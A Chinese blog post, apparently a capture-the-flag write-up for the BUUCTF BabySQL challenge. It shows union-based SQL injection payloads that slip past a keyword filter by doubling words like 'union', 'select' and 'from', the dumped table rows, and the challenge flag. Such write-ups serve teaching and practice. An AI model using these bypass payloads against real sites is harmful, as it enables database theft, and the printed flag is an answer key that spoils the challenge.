BUUCTF [极客大挑战 2019]BabySQL

进入环境是一个登入页面,提示有过滤

通过测试,发现万能密码登录过滤啦or,用||替代

然后开始sql注入爆数据库

先爆字段数,or和by被过滤了要双写绕过

admin' oorrder bbyy 1#
密码随便

 3的时候正常回显,4的时候报错,说明表里有3个字段

然后看回显位置

这里union,select都被过滤,双写绕过,先看看回显

check.php?username=admin&password=' ununionion seselectlect 1,2,3 %23

 爆数据库:geek

爆数据表:

check.php?username=admin&password=' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' %23

 爆字段:

查数据:

check.php?username=admin&password=' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom geek.b4bsql %23

Your password is '1cl4yi_want_to_play_2077,2sqlsql_injection_is_so_fun,3porndo_you_know_pornhub,4gitgithub_is_different_from_pornhub,5Stopyou_found_flag_so_stop,6badguyi_told_you_to_stop,7hackerhack_by_cl4y,8flagflag{bb35b99f-fe37-4f47-9c77-9d8c45395267}'

就出来啦

这题很多双写绕过

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值